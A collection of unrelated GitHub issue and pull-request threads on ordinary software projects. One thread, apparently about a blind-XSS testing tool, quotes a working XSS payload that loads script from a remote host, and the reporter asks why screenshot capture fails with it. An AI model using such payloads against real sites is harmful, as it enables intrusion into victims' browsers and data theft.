[207] Create Case - select category (yes and no paths)

Changes in this PR

moves category form section to new “request type” section
JS for revealing category selection dropdown
adds “not yet known” & “no applicable category” to db seed in config/support/categories.yml
updates create_case_form_schema.rb to validate when no request_type is selected

Resources

See #207 in Lucid spark for an overview of yes and no paths
main trello ticket

Screenshots of UI changes

next steps

[x] add "please select" to categories
[x] error on no selection
[x] update specs
[x] backfill all cases with a nil category to "Not applicable" category id.

 #207 create case journey (YES)

 #207 create case journey (NO)

LGTM!

@d-a-v-e the code looks good. The only thing I noticed when going through the journey is that if I've selected a category and I go on to the CYA page, if I click Change and go back to the form, the Request type is set to Yes, but the drop-down is hidden.

@d-a-v-e the code looks good. The only thing I noticed when going through the journey is that if I've selected a category and I go on to the CYA page, if I click Change and go back to the form, the Request type is set to Yes, but the drop-down is hidden.

@EdwinKruglov ahh great, spot, thanks. I'll push up a fix 🙌


set formData while onLoad being invoked

I need to show previously loaded images in my page. I am able to accomplish it using
onLoad:function(obj). But I also need to populate some formData which I need to send while deleting. How to achieve this?

In deleteCallback you have the value
deleteCallback:function(data, pd)
{
}
where data, is the returned object in onLoad method.

Thanks. I got it. But another question. When is onError function invoked? Suppose I want to stop file upload and show some message what jeno data I must send from server. I saw 'customErrorMessage' but how to let the client know file upload has failed.

Thanks. I got it. But another question. When is onError function invoked? Suppose I want to stop file upload and show some message what json data I must send from server. I saw 'customErrorMessage' but how to let the client know file upload has failed.

onError() is called in two scenarios,
1).if the upload is failed,
2).if the upload is success, but if you return the custom error.


Remove older PE mocks

This commit simply removes PE 1.2 - PE 2.8 mocks from being laid down on
new rpm-builders. Note this does not cleanup those files if they already
exist on a builder.

Tests are not working... Fixing now.

Arg, specs were already failing before this change. Boo.

I'm generally :+1: on this. Are you going to fix the tests or leave them broken?

Are tests working yet? Are we worried about that for this PR?


Maher/AddResources

*Should-Haves Tasks:
A user has access to resources for further study on each question.

Fixes #18


Remove direct Mixin and ASM support

Removes direct support for Mixin and ASM in core Minestom or extensions.
Goals
Below are the overarching goals of this PR. In addition the extension classloader isolation should remain functionally equivalent to the current system.

[x] Remove Mixin
[x] Remove ASM
[x] Remove Bootstrap
[x] Remove extension unload capability
[x] Call preInitialize while server is still in the starting phase
[x] Create an official library which can add support back for these subsystems

Motivation
Mixin is intended to modify code in environments where you do not have access to the source code, or you must do modification only at runtime. Neither of those cases are true in Minestom and I feel that without the crutch of "you can just use a Mixin" we will be forced to focus on better API design.
Additionally, we can remove the dependency on the Sponge maven repo :)
Extension Unload
This features is not directly related to Mixin/ASM, however, removing it at the same time makes sense. The motivation is that extension unload/reload is an extremely unsafe process without a good way to get it right. There are two major problematic use cases:

Callbacks passed into Minestom, such as event nodes. When we unload the extension those must go away as well or it cannot be fully unloaded, leading to issues when it is reloaded. This can be partially solved by tracking the class loader of these items, however it is unreliable. For example if the origin is a dependency.
Extension dependencies. If extension A depends on extension B and uses some of its apis, then we reload extension B there is a problem. Extension B is unloaded however the classes cannot be completely released because they are in use by extension A. This means that even after extension B comes back, A is referencing the old (now disabled) version of B. This problem is mitigated by unloading all of the dependents of an extension when it is unloaded, but that compounds with the first issue to create a very unstable environment.

Finally, we believe that the startup time of Minestom is fast enough that it will not make a huge difference in development.
API Changes

Removed Bootstrap, MinestomRootClassLoader. In addition, it is possible that other code will be broken by the lack of Bootstrap. It used to call MinecraftServer#init before any user code was executed, meaning it was valid to use MinecraftServer before calling #init yourself. This will no longer be valid.
Isolation is strictly enforced now, meaning if you want to use a class from another extension it must be in your extension.json file.

The following line still references the Bootstrap method https://github.com/Minestom/Minestom/blob/ad533533a4d66203978ed50b0c1bc6bd3d00875d/src/main/java/net/minestom/server/extensions/ExtensionManager.java#L282

The following line still references the Bootstrap method
https://github.com/Minestom/Minestom/blob/ad533533a4d66203978ed50b0c1bc6bd3d00875d/src/main/java/net/minestom/server/extensions/ExtensionManager.java#L282

Fixed, thank you!


Mock vector tiles for test

The current test vectorTilesLayer.cs.ts often fails because the server responds with an error message. In general, it would be great to be able to mock vector tiles or use some local ones in order to have more stable tests.

Implemented in https://github.com/EOX-A/EOxElements/pull/261


Add documentation about reporting security issues [skip ci]

Added documentation about reporting security issues to NVIDIA in the code repository and gh-pages documentation.

build


README - added v2 endpoints and removed v1 structure

tests are failing so idk @ossiggy

tests are failing so idk @ossiggy

Fixed the tests here, so should be gtg @josebet1


improvements to zap parser

In Zap (2.4.2), the lowest priority is called ‘Informational’, causing problems on import. This fixes that.

I'm rather new to Git (this is actually my first pull request ever) so I wouldn't be surprised if I've done something wrong procedurally. Please feel free to let me know.

By default it parses the ZAP created CWE into references only, but not the actual CWE field.

hi @YSaxon, thanks for your PR checking it out now!

@grendel513 @cneill this looks good to me. Any comments or concerns?

None, merged.


Feature_Request Add responsive logos to navigation bar which will be adjustable to different screen sizes

Is your feature request related to a problem? Please describe.
The existing website does not contain the navigation bar on reduced screen sizes i.e. mobile phones.
Describe the solution you'd like

Add navigation bar that will be visible to reduced screen sizes i.e. for mobile phones as well.
Also make the navigation bar responsive by adding logos instead of the contents when the screen size is reduced.

Demo Video/Screenshot
The following screenshot describes the existing navigation bar on mobile phones:

Are you contributing under any open-source program ?
Yes under JWOC I am contributing as mentee.

@Shravani-Korde Already there is an issue present of responsiveness in the Issue section

Ok, I have raised another issue please have a look.


validates_uniqueness_of_without_deleted :column fails for serialized columns

Rails 4.2.3
Ruby 2.3.0p0
Linux x86-64
class Foo < ActiveRecord::Base
  acts_as_paranoid
  validates_as_paranoid
  serialize :colors, Array

  validates_uniqueness_of_without_deleted :colors
end

This raises the exception ActiveRecord::SerializationTypeMismatch: Attribute was supposed to be an Array, but was a String. when calling @foo.update_attributes with a new colors array.
Are serialized fields supported by validates_uniqueness_of_without_deleted?

I haven't heard of anyone running into this issue before, but there might also be no tests for this behavior.

This is related to the changes in PR #83. validates_uniqueness_of_without_deleted is using the type_cast_for_schema method to cast the value, which simply calls .inspect on an array, returning a string.


REST API host in docs doesn't work

see

https://github.com/snapshot-labs/snapshot-docs/blob/master/guides/archived/hub-api.md
https://docs.snapshot.org/guides/archived/hub-api

but when I follow a link, e.g. https://hub.snapshot.page/api/spaces
That page seems to be down. In fact, all of https://hub.snapshot.page seems to be down.

Hello @TimDaub Please use the new GraphQL API https://docs.snapshot.org/graphql-api
above docs links are archived links and many of those APIs are deprecated, Thanks


--help should exit

If the user invokes the command with --help, and hits the autogenerated --help support then the program should exit with code zero and not return from Command.run.  This way the programmer does not have to do anything special to get automatic --help support.

I'm not sure about that.
I generally avoid 'exit' calls as much as possible. They make testing harder, and get in the way when something is used in a library.
The pattern for the cli library is generally to have run as the last line of the main program, and let the cmd do all the work. As such this scenario feels pretty unlikely.


Pyupgrade: converts universal_newlines to text in subprocess.run

This file is outdated. You may have to rerun 'cargo dev generate-options' and/or 'cargo dev generate-rules-table'.
@charliermarsh if we have all these commands that just need to be run every time, why not add it do the CI so that contributors don't need to worry about it?

@colin99d - I'm hoping to make it a build step so that it all gets built automatically.

Eh, maybe some of these are inappropriate for a cargo build script.


Fix publish CI

The CI for publishing releases seems to be broken:
https://github.com/bilby-dev/bilby/actions/runs/11863533831
It's not clear to me what the issue is here, but we should fix this before we make the next release.

The main difference between our CI and what is in the docs, seems to be the name of the environment but I can't see why that would cause the error we're getting.


Greatly simplifies how Price.amountMicros is determined on iOS.

Since PHC did not expose the actual price amount on iOS, we were reconstructing it by parsing the formatted price string. Besides being very brittle, this might also be the cause of https://github.com/RevenueCat/purchases-kmp/issues/161, as we return 0 if the price formatter is null. The meat of this PR is in Price.ios.kt.
Note: this is ready for review. It's just dependent on a few external factors:
Blockers

[x] https://github.com/RevenueCat/purchases-hybrid-common/pull/911
[x] A PHC release with ☝
[x] Updating this PR with the new PHC version number.

I just merged the PHC bump in #174, so we should rebase this PR @JayShortway

@tonidero Thanks, done!


Nested VJP function always triggers recompilation

I'm sorry to report that my last contribution https://github.com/google/jax/issues/3667 was not a perfect fix for the issue.  While it does seem to ensure that the returned cotangent function is a pytree, it does not ensure that regenerating the cotangent function produces an equivalent pytree.  Consider the new test at the bottom of this snippet:
  def test_nestable_vjp(self):
    # Verify that https://github.com/google/jax/issues/3667 is resolved.
    def f(x):
        return x ** 2

    @api.custom_vjp
    def g(x):
        return f(x)

    def g_fwd(x):
        y, f_vjp = api.vjp(f, x)
        return y, f_vjp

    def g_bwd(f_vjp, y_bar):
        return f_vjp(y_bar)

    g.defvjp(g_fwd, g_bwd)

    # Check that VJP can be nested in simple situations.  For this to pass,
    # vjp has to return a PyTree.
    _, g_vjp = api.vjp(g, 1.0)
    y, = g_vjp(1.0)
    self.assertAllClose(y, jnp.array(2.0))

    # Check that VJP can be nested in complex situations.  For this to pass,
    # vjp can't treat the closed-over tracer x as a static argument.
    @jit
    def z(x):
        _, g_vjp = api.vjp(g, x)
        return g_vjp
    y, = z(1.0)(3.0)
    self.assertAllClose(y, jnp.array(6.0))

    # Check that VJP functions don't induce recompilation.
    compiled = 0
    @jit
    def w(this_g_vjp):
        nonlocal compiled
        compiled += 1
    _, g_vjp = api.vjp(g, 1.0)
    w(g_vjp)
    _, g_vjp = api.vjp(g, 1.0)
    w(g_vjp)
    _, g_vjp = api.vjp(g, 2.0)
    w(g_vjp)
    assert compiled == 1

Currently, compiled is 3.  This is because there are partial objects buried in the pytree, and upon regeneration of g_vjp, we get different objects, which hash differently.
In trying to fix this, I tried to replace the pattern Partial(partial( in the code with an improved Partial class from here.  The problem improves, but then Jaxpr is not a pytree.
Long story short, there are two possible ways of moving forward:

Try to work around the problem by not regenerating cotangent functions.  Generate them exactly once.
Regfister a number of JAX's internal classes as pytrees, including Jaxpr, Var, and Atom.

I'll probably try just working around this for now, but I was wondering what your thoughts are on ultimately doing the registration?
attn: @shoyer @mattjj

Regfister a number of JAX's internal classes as pytrees, including Jaxpr, Var, and Atom.

That sound rather invasive!
Is there a reason why you can't put the whole thing -- including the call to api.vjp and the use of returned jvp function -- under a single jit decorated function?

Right, that's what I had in mind to ensure that the cotangent function is not regenerated. It just feels weird to have a jitted function (say f) that returns different pytrees (as far as jit is concerned) when it is called with the exact same arguments.

Well, you're calling api.vjp() on f, which is explicitly invoking JAX's auto-diff machinery. In most cases, that machinery has cost that is comparable to the cost of jit compilation, so even if this were possible I'm not sure if it would make a meaningful difference.

I'm going to close this as "working as intended" for now, but feel free to open a new issue if this comes up in a new context.


Fix secret controller racetest issues

This change fixes racetest failure that are flagged
in the packages that consume this library.

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by:
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approver: geeknoid
If they are not already assigned, you can assign the PR to them by writing /assign @geeknoid in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

pkg/OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

/lgtm
/approve

[APPROVALNOTIFIER] This PR is APPROVED
This pull-request has been approved by: nmittler
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

pkg/OWNERS [nmittler]

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment

The added lock doesn't seem to be used at runtime, but it's added to address a race condition between the secret controller thread and the test thread. Apparently the test thread accesses data that is directly under control of the secret controller thread. Not sure how to revise the test code so that the lock doesn't have to be added to work with the test code.

This PR is not needed the proper fix is in PR #9267

One way to refactor this code to incorporate a lock and make the user's life a bit easier is to make the add callback to return an interface and save it in the remote cluster data. The user's code doesn't have to maintain a list of remote clusters any more. This list is maintained in the secret controller and access to it is lock protected. The secret controller needs to provide query routine to access them. This requires both the secret controller and the user's modules (pilot and mixer) to be refactored.


Switch back to upstream go-qemu

Fails across the board? :)

jenkins: test this please

Testsuite passed


Save HEX pubkey as well as the pubkey for each validator

Feature description
Saving HEX pubkey into database so that we do not need to calculate that everytime we want to get HEX from pubkey
Implementation proposal
When adding a validator we can map to a HEX pubkey as well.

@RiccardoM @bragaz do you know if there are methods in the SDK which convert the validator bech32 pubkey back the Tendermint validator hex address? We need this in BDJuno to map the signatures in the block.

@kwunyeung If you have the public key, you can use the .Address() method that's inside the PubKey interface.

@RiccardoM it's to record if the validator's precommit signature exists in the current block. For example, http://lcd.morpheus.desmos.network:1317/blocks/5000 the signatures are referencing the validators in hex address but what we can get from validator list are the addresses in bech32. We should save the hex address along with the validator information.

@kwunyeung I guess that can be done easily by changing how Juno saves the data, adding the HEX address and pub key to the validator table

@RiccardoM Yes, please take care of that inside Juno, feeling that is better than doing it in BDJuno🧐

Move to desmos-labs/juno#4


Proposal: rip out async-std | Still use it? Let us know!

Seeing https://twitter.com/mitsuhiko/status/1482659961750671361 and now https://github.com/launchbadge/sqlx/issues/1669 I started to think of all of the compromises I made because we wanted to support async-std.
Most of the contributions to this project I made in my free time, and there are some parts of it like the header encoding situation being frustrating at times, but it's worth to spend time on it because that's what it takes to generate RFC compliant emails that SMTP servers and clients are going to accept and handle correctly.
On the other hand one thing I feel like I wasted a lot of time on and made me make a lot of compromises was having to worry about async-std support.
Is it worth continuing investing more time into supporting it? Let us know

I think it should be ripped out. This project isn't getting enough love as it is and having a further implementation to deal with just serves to further dilute efforts. Perhaps this can be a target for 0.11?

Hi,
if you go trough the sqlx issue you see that the result is this https://github.com/launchbadge/sqlx/tree/master/sqlx-rt  which i think is a great effort that would be worth to contribute to, as today because of tokio peculiarity on some traits is really hard to have generic implementations, so would be a really good idea move all the effort of each single crate to adapt to the specific runtimes to a single crate that cover all runtimes, so we do not have to waste to much effort adapting or arguing about adapting.
So my suggestion would be, just don't move out of async-std also move out of tokio, that would be a great for the ecosystem !

Unfortunately sqlx-rt isn't what we need here. What I'd like to have is a connection pool, networking and TLS runtime independent crate, so that we wouldn't need to have to live with this mess of things https://github.com/lettre/lettre/blob/c24213c8506718914e71eddb897bd45b423eec57/src/transport/smtp/client/async_net.rs in lettre and wouldn't have to compromise on connection pooling crates because they support tokio but not async-std. I'd also love to have something that makes use of the Rust's 1.60 weak dependency features to replace the big intricate list of features you have to manually turn on to make things work correctly.


Screenshots don't work while using import() function

Hi,
While using import() function to load blind XSS script like <img src=x onerror=import('//xss.domain')>, the html2canvas script doesn't load and we can't get the screenshot. I wonder if the import() blocks that or the script has some issues? import() is very useful due to its shortness, it would be much more useful with screenshots.
Thanks!

I will look into this. I did not create html2canvas and it might be an issue with this library.

Thanks. When I try it standalone, it works: https://codepen.io/bugraesk/pen/zYbWRvj


WIP: Update to Vault 1.0.0

Updates the API client used to talk with Vault 1.0.0.

[ ] Vault 0.11.x still works. (not sure, testing)

Fixes: #222 Depends on: https://github.com/hashicorp/vault/pull/5913

@bonifaido Any plans to phase out the configurer in favour of newly introduced Cloud Auto Unseal?
https://github.com/hashicorp/vault/blob/master/vault/seal
Thanks

Hi @ccojocar , autoseal is just unsealing, so I guess you mean not the configurer but the init/unseal subcommand of bank-vaults. Since the configurer is widely used part and it relies currently on the keys put to persistent places in the format as bank-vaults init does we don't plan to retire the init/unseal part soon, also we support  more options (and plan to support even more) for init/unseal, a, like Kubernetes secrets for testing purposes, where you don't have a cloud provider underneath. What I can think of right now is that the configurer could configure a Vault instance that wasn't inited/unseald via bank-vaults, but for that first I have to check how the autounseal actually works.

Thanks @bonifaido for clarifications. Yeah, I mean the init container. It seems that the vault has a similar approach if you check the implementation, but in addition they wrap the key shards.  https://github.com/hashicorp/vault/blob/1a7cd116a77d12af5df6a7cdd61c358a3324fcbb/vault/seal_autoseal.go#L76.
Looking at the implementation, it seems to me that all key shards are wrapped, then the wrap key is encrypted with the KMS service, and finally the entire encryption material is stored together in the physical storage.
Wrapping the keys before storing them, it might have a slightly better security since the wrap key does not have the same level of access like the master key shards.

Hi @ccojocar, I have created a separate issue for this concern of using auto-unseal: https://github.com/banzaicloud/bank-vaults/issues/228
For the original API compatibility issue, I have pushed a fix which uses a Vault client from our branch temporarily, until the upstream issue gets resolved.


Add ClipboardCopy

This is just a draft as I can't run the tests locally and I'm pretty sure there is a lot wrong with this

I've finally somehow glued it together, I have no idea if this is acceptable though, but the tests are passing for me locally.

@digitronik @mshriver when you got a minute can you review please?

Ah wait, I forgot the ouia stuff

Ok I hope that's good enough.

Thanks for this widget!
As its a clipboardCopy widget, I think, we need an explicit copy method which will just click on the button.
If you want OUIA support then you need to define OUIA OUIA_COMPONENT_TYPE in ouia.py file.
Nice work!

:facepalm: I forgot to push my latest change, sorry.

I added the copy method but idk what to return there..


fix(dispatch-service): added handling for case when no environment va…

closes #2820

This seems have fixed it. Thanks!

:tada: This PR is included in version 3.7.0 :tada:
The release is available on GitHub release
Your semantic-release bot :package::rocket:


Base URL is not getting the default value

"Cannot assign bool to property LucianoTonet\GroqPHP\Groq::$baseUrl of type string"

https://github.com/lucianotonet/groq-php/commit/aea491db97605365b1128a5c9a6419d5b46f403d
This will probably fix it


S8+ refreshing

It work great for older Android OS and somewhat somehow Google Nougat force refresh in 20 mins. I turn off the battery optimization and keep stay on with no luck and still hard refreshed the page automatically after 20 mins. The same page on older Android works great as well as iOS iPhone6 and iPhone7. Please help with S8+ Samsung Chrome browser.

Related to the comment in https://github.com/richtr/NoSleep.js/issues/52#issuecomment-443979974 it seems that usage of this library is not following the guidelines laid out in the  README:

// (must be wrapped in a user input event handler e.g. a mouse or touch handler)

This is an acceptable compromise that means you can enable NoSleep if/when the user clicks on your page.
It was never the intention to support non-user-gesture sleep lock and this issue is about auto-enabling wake/sleep lock on this device. Requiring a user gesture to enable sleep lock is an acceptable UX compromise for most experiences.
Closing this issue as this is not an issue with intended usage through a user-initiated gesture.


publish<EMAIL_ADDRESS>

Requested by: @marandaneto
Merge target: v7.0.0
Quick links:

View changes
View check runs

Assign the accepted label to this issue to approve the release.
Leave the #retract comment under this issue to retract the release (original issuer only).
Targets

[ ] pub-dev
[ ] github
[ ] registry

Targets marked with a checkbox have already been executed.  Administrators can manually tick a checkbox to force craft to skip it.

https://github.com/getsentry/sentry-dart/compare/7.0.0-beta.1...refs/heads/release/7.0.0-beta.4


Guideline on adding a new accelerator

Jenkins Linux s390x Build #6399 [push] Guideline on adding a ne... started at 00:55

Jenkins Linux ppc64le Build #5521 [push] Guideline on adding a ne... started at 00:57

Jenkins Linux amd64 Build #6383 [push] Guideline on adding a ne... started at 23:55

Jenkins Linux amd64 Build #6383 [push] Guideline on adding a ne... passed after 1 hr 5 min

Jenkins Linux s390x Build #6399 [push] Guideline on adding a ne... passed after 1 hr 28 min

Jenkins Linux ppc64le Build #5521 [push] Guideline on adding a ne... passed after 1 hr 56 min


Request: Rain-reachable Y-location

There is no clean way to determine if a player is being rained on (or any location is recieving any precipitation on it)
The Extent#getHighestYAt() will return the highest solid block that is recieving light, aka, grass blocks under tree canopies, or anything under a glass roof just above or high in the sky.   {At least on SpongeVanilla 6.0.0-Beta-1 this is the implimentation...}
Yet minecraft must know if a location is capable of recieving precipitation or not, since the client will or wont render drops (and splashes on the first block encountered down from the sky) - which may just be a client side thing - BUT, one of the conditions for ICE is that water only freezes if the entire column of air above it is empty and it is able to see precipitation - put tree leaves or glass blocks over, it wont freeze.
As well, the rain-based hydration of soil requires knowing if it is rain-exposed, soil under glass wont hydrate in a rainstorm, soil in the open will.
Please add a Y-position reporter for the block in the column which will recieve rain // is the topmost block in the column solid or transparent, which blocks precipitation from forming in the column below.

You should be good now with https://github.com/SpongePowered/SpongeAPI/pull/1572 merged :)


UTM instantly crashes trying to launch the official UTM-provided Arch ARM VM

Describe the issue
I downloaded the latest version of UTM, downloaded the latest version of the premade UTM file for Arch ARM, imported it, and then it crashes as soon I try to start the VM.
Configuration

UTM Version: 4.2.5
macOS Version: macOS 13.2
Mac Chip (Intel, M1, ...): M2

Crash log
https://pastebin.com/VVZza4Tq
Debug log
Followed the steps for getting a debug log but none is created, likely to how fast it crashes.
Upload VM
It's the official UTM file for Arch ARM. No changes.

Duplicate of #4582

@themaster567 This is a known issue but I cannot reproduce it on my machine. Can you provide more details on your macOS configuration? For example, what is your system language? Do you have voiceover enabled? Do you have any third party extensions that may modify mouse/keyboard input?

Other useful information: are you running UTM from /Applications or elsewhere? Have you used an older version of UTM before?

Just saw this, apologies for the wait.

@themaster567 This is a known issue but I cannot reproduce it on my machine. Can you provide more details on your macOS configuration? For example, what is your system language? Do you have voiceover enabled? Do you have any third party extensions that may modify mouse/keyboard input?

My system language is English. I do not have voiceover enabled. I do not use extensions that modify input.

Other useful information: are you running UTM from /Applications or elsewhere? Have you used an older version of UTM before?

I am running it from the standard place, /Applications. The M2 MBA is my first MacOS device, so I have not used an older version before.


ArmoRM Issue

Running rewardbench --model=RLHFlow/ArmoRM-Llama3-8B-v0.1 results in the following error:
Traceback (most recent call last):
  File "/miniconda/envs/reward-bench/bin/rewardbench", line 33, in <module>
    sys.exit(load_entry_point('rewardbench', 'console_scripts', 'rewardbench')())
  File "/mnt/bn/hongyi-lq/mlx/users/hongyi.guo1/repo/12252/reward-bench/rewardbench/rewardbench.py", line 142, in main
    raise NotImplementedError("Custom dialogue not implemented yet for simpler data formatting.")
NotImplementedError: Custom dialogue not implemented yet for simpler data formatting.

Could you please provide the correct way to evaluate ArmoRM?

Ah, yeah the CLI is for general datasets (which doesn't work for some architectures).
It is run with:
python scripts/run_rm.py --model= RLHFlow/ArmoRM-Llama3-8B-v0.1

Trying to keep the CLI scripts simpler was a decision, still open to other interpretations.

Ah, yeah the CLI is for general datasets (which doesn't work for some architectures). It is run with:
python scripts/run_rm.py --model= RLHFlow/ArmoRM-Llama3-8B-v0.1

Trying to keep the CLI scripts simpler was a decision, still open to other interpretations.

Running with python scripts/run_rm.py --model= RLHFlow/ArmoRM-Llama3-8B-v0.1, but result following error:
raise ValueError( ValueError: You can't train a model that has been loaded withdevice_map='auto'in any distributed mode. Please rerun your script specifying--num_processes=1or by launching withpython {{myscript.py}}.

@t-sifanwu I believe this is because you're using multiple GPUs for inference.
The simple implementation we used has some rough edges around this (such as this). I'm not sure at the train comment, but let me know if you need more help.


Option to have the layout start from the top left corner

So I was today years old when I realized that you can have a negative offset in the linnstrument (go to global settings > row offset > hold octave + > select -5 in the screen that appears). So this means the lowest note is in the top left corner and the highest note is in the bottom right corner. With the default layout, chords become a lot easier because they fall where the fingers naturally want to go. Basic minor and major chords become trivial. 7ths are still a little bit awkward but much less than with the default layout.
So I haven't tried your software because I saw there are some issues with the 200 version, but I was wondering what happens to the chord shapes in your layout if you similarly start from the top left corner.

Midimech uses the "no overlap" mode and remaps the positions inside the software itself.  Supporting custom layouts is on my TODO list and I welcome experimentation.  You could take the cheat sheet in an image editor and vertically flip it to see how an inversion would look, but I don't see much of a benefit in doing that here.  With mech you have your thumbs available for lower notes, which is typically in the octaves where you want less notes anyway, such as holding a single note beneath a chord.  In my opinion, the awkwardness of +5 goes away on mech since the scales and chords are grouped in a way that is much easier to deal with both musically and ergonomically.
As for 200 support, past versions have been tested by others but until I hit a stable release it won't get tested immediately or in a way that is as thorough every iteration, so it's possible something may break and you'd need to rollback your version.  I'm hoping to get a LinnStrument 200 eventually but it may not happen for a while.  In the meantime I will hope for more testers.

Sounds good. In that case, I'll wait for the custom layout support and try it on my own.


Add Color extension

closes https://github.com/ueberdosis/tiptap-php/issues/12

@hanspagel Can this be merged in, please?  It seems to work correctly on my local env.
If anything extra is needed, I don't mind doing the work.
Thanks

This would help us alot!


OpenGraph image is not functioning properly

OpenGraph support is set up here, yet the image is not loading properly when sharing https://helium-network-explorer.herokuapp.com in messaging platforms:

On the other hand, the /og.png file that it's linking to is actually available: https://helium-network-explorer.herokuapp.com/og.png
Not sure what needs to change here to fix it but that's why this issue was created.

can it be an issue of Discord, as I see similar issue for other explorers too sometimes


tech-conferences-operator to 0.0.12

Promote tech-conferences-operator to version 0.0.12

[APPROVALNOTIFIER] This PR is NOT APPROVED
This pull-request has been approved by:
To fully approve this pull request, please assign additional approvers.
We suggest the following additional approvers:
If they are not already assigned, you can assign the PR to them by writing /assign  in a comment when ready.
The full list of commands accepted by this bot can be found here.
The pull request process is described here

Needs approval from an approver in each of these files:

OWNERS

Approvers can indicate their approval by writing /approve in a comment
Approvers can cancel approval by writing /approve cancel in a comment


Password Utility Test

Pull Request
Fixes #64
Type of change

[ ] A new feature
[ ] A bug fix
[ ] Documentation only changes
[ ] Changes that do not affect the meaning of the code (white-space, formatting, missing semi-colons, etc)
[ ] A code change that neither fixes a bug nor adds a feature
[ ] A code change that improves performance
[x] Adding missing tests or correcting existing tests
[ ] Changes that affect the build system or external dependencies
[ ] Changes to our CI configuration files and scripts
[ ] Other changes that don't modify src or test files

Checklist

[x] My code follows the contributing guidelines of this project
[x] I have performed a self-review of my own code
[x] I have commented my code, particularly in hard-to-understand areas
[x] I have made corresponding changes to the documentation
[x] My changes generate no new warnings
[x] I have added tests that prove my fix is effective or that my feature works
[x] New and existing unit tests pass locally with my changes
[x] Any dependent changes have been merged and published in downstream modules

@DarrellRichards would you mind reviewing this?

@Whamo12 I'll take a look as well.

LGTM 🎉 🎉


[Spotless] Applying Google Code Format for core/src/main files #2

Description
This PR applies Spotless on Java code for:
core/src/main/java/org/opensearch/sql/exception
core/src/main/java/org/opensearch/sql/executor
core/src/main/java/org/opensearch/sql/expression
core/src/main/java/org/opensearch/sql/monitor
Issues Resolved
[List any issues this PR will resolve]
Check List

[ ] New functionality includes testing.

[ ] All tests pass, including unit test, integration test and doctest

[ ] New functionality has been documented.

[ ] New functionality has javadoc added
[ ] New functionality has user manual doc added

[ ] Commits are signed per the DCO using --signoff

By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

Checkstyle fails for some of the changes.


Update version to instantiate model before fit

@JuliaRegistrator register()

Registration pull request created: JuliaRegistries/General/118137
Tip: Release Notes
Did you know you can add release notes too? Just add markdown formatted text underneath the comment after the text
"Release notes:" and it will be added to the registry PR, and if TagBot is installed it will also be added to the
release that TagBot creates. i.e.
@JuliaRegistrator register

Release notes:

## Breaking changes

- blah

To add them here just re-invoke and the PR will be updated.
Tagging
After the above pull request is merged, it is recommended that a tag is created on this repository for the registered package version.
This will be done automatically if the Julia TagBot GitHub Action is installed, or can be done manually through the github interface, or via:
git tag -a v1.0.0 -m "<description of version>" 8935f7ea6b1db9528671c71bd5773d8b60c006c0
git push origin v1.0.0


Add Error processing hook

Problem
There should be a way to tap into or override Loco's standard error conversion into Response.
Currently it is hard-wired in https://github.com/loco-rs/loco/blob/master/src/controller/mod.rs#L181-L240
There is nothing a user can do if he/she does not like the default behavior, short of completely rolling out a new set of errors and replacing it.
For example, a very simple matter of translating error messages into another language, or another format, is a huge burden right now, not to mention showing different information for different errors other than the generic Bad Request.
No, Result<Response> does NOT solve it
It requires custom code on every single line where there is a ? operator to "trap" the Err and return a custom Ok(response) instead.
Proposed Solution
Since Sea-ORM requires Error to implement IntoResponse, I am not sure if there is an easy position where such customization hooks can be added.   Probably somewhere a middleware can look at the Error and then pass it through a custom implementation?

Thanks for bringing this up. Actually, I've marked this pain point in my notes, the sketch I have so far is to add a hook to the central app hooks, something like on_error and then a user can perform some kind of async error reporting.
This is for example, for hooking up services like Sentry and similar.
Regarding response output as an API to the user -- this is a different matter
I'm not sure it is 1:1 what you mean -- but how does that sound?

Well I'm more.concerned with response output of the errors because the project I'm working on is lightweight and not i18n, therefore the error messages need to be in Chinese... Even as simple as a Chinese version of Bad request may do...
But right now any customization of error conversation into response is not possible as it relies on a built-in IntoResponse implementation...
I ended up wrapping Error in a newtype and reimplementing IntoResponse like I wanted it...  But that requires changing every error type to my newtype.


[eas-cli] add fetching additional pages for update --republish

Checklist

[x] I've added an entry to CHANGELOG.md if necessary. You can comment this pull request with /changelog-entry [breaking-change|new-feature|bug-fix|chore] [message] and CHANGELOG.md will be updated automatically.

Why
Follow up to #1119. This allows CLI users to update --republish any previously published update, even if it is beyond the initial page limit (n=300).
How
I added the getUpdatesToRepublishAsync method which will recurse when the user asks for a new page updates. The updates are accumulated and presented to the user. Once a branch has been fully loaded, the option to fetch another page (Next page...) will disappear.
Test Plan
Run locally (edl update --republish) with a low page limit (n=5) on a branch with few updates. Ensure that:

the option to fetch new pages of updates is present
updates fetched in both the current network request and previous network requests can be republished
once all updates are fetched, the option to fetch another page disappears

Also, added some automated tests for above

The Node 18 tests look like the became flaky recently. May need to look into the memory usage of each test file to see if the newer tests are using a lot of memory and aren't freeing it.


Conversion of Printing to Python 3

Thank you for picking up the torch with regard to galgebra.  I just did not have enough time to work on it as required.  I have a question about your conversion to python 3.  I am trying to use your version and it looks like the python 3 print function is not overloaded.  That is if A is a multivector or other object in galgebra the statement "print(A)" does not work.  Is this correct?

Thank you for picking up the torch with regard to galgebra. I just did not have enough time to work on it as required.

So glad to see you again! How is everything going?
GAlgebra is a great piece of work and we are honored to do something about keeping it on.

it looks like the python 3 print function is not overloaded. That is if A is a multivector or other object in galgebra the statement "print(A)" does not work. Is this correct?

It's overloaded and I verified the 4 ways of printing you designed.
First, printing plain texts. (I don't have an example at hand, will provide later)
Secondly, if called Eprint() upfront, print() will do Enhanced Console Printing(colored printing with ANSI escape sequences):

code: https://github.com/pygae/galgebra/blob/master/examples/Terminal/terminal_check.py
output: https://nbviewer.jupyter.org/github/pygae/galgebra/blob/master/examples/ipython/Terminal.ipynb

Thirdly, if called Format() in Jupyter Notebook upfront, print() will do LaTeX printing with MathJax.

code & output: https://nbviewer.jupyter.org/github/pygae/galgebra/blob/master/examples/ipython/colored_christoffel_symbols.ipynb

Finally, if called Format() upfront and xpdf() eventually, print() will do LaTeX printing (internally, the standard output will be redirected to a buffer for later consumption):

